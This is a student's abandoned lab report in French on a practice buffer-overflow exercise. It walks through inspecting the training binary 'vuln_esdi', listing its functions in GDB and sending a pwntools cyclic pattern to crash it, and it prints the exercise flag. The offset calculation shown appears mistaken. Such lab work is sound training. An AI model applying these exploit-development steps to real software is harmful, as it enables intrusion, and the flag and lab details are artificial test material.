Files
live-campus-mcs-p-2027.2/Semaine_10/Jour_03/TP6_BOICHE_Gauvain.md
T
2026-06-12 20:25:28 +02:00

104 lines
3.0 KiB
Markdown

# TP6 - Florian POMPIDOU
> Le binaire vuln_esdi a été découvert dans un audit de code. Le client suspecte un buffer overflow dans la fonction de parsing des arguments. Votre mission : confirmer la vulnérabilité, mesurer le décalage jusqu'au registre de retour, et produire un PoC Python qui détourne le flot d'exécution vers une fonction cachée (win()) présente dans le binaire.
## Analyses basiques
Formules basiques pour extraire la structure du fichier :
```bash
$ sha256sum vuln_esdi
6cf9d82d8d0023add3f211d65169de28264ce845795d6c384ef53da613f3c48c vuln_esdi
$ file vuln_esdi
vuln_esdi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ad96f823633c23654741962598e101b58be3bd09, for GNU/Linux 3.2.0, not stripped
$ objdump -f vuln_esdi
vuln_esdi: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401070
$ strings vuln_esdi
[...]
[+] Congratulations! You've redirected execution to win()!
[+] Flag: CTF{b0f_m4st3r}
[...]
```
## Mise en place d'un analyseur profond Python
### Analyse GDB basique
```bash
gdb ./vuln_esdi
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 printf@plt
0x0000000000401050 gets@plt
0x0000000000401060 fflush@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401156 win
0x000000000040117b vulnerable
0x00000000004011d0 main
0x0000000000401204 _fini
(gdb) print win
$1 = {<text variable, no debug info>} 0x401156 <win>
```
### Amorce de l'environnement
En amorce du projet, déployer un environnement Python cloisonné :
```bash
uv init
uv run main.py
uv run .venv/bin/activate_this.py
uv add pwn
chmod +x vuln_esdi
```
### Script importé pour trouver le pattern disruptif
```py
from pwn import *
pattern = cyclic(200)
p = process('./vuln_esdi')
print(pattern)
print(f"Le PATTERN a une longueur de {len(pattern)} caractères.")
p.sendline(pattern)
p.wait()
```
Dans GDB :
```bash
(gdb) run < <(python3 -c "from pwn import *; print(cyclic(200))")
Starting program: /home/kali/TP6/vuln_esdi < <(python3 -c "from pwn import *; print(cyclic(200))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to SecureApp v1.0
Enter your name: Hello, b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011cf in vulnerable ()
(gdb) !python3 -c "from pwn import *; print(cyclic_find(0x6174616161736161, n=8))"
63272450
```
### ABANDON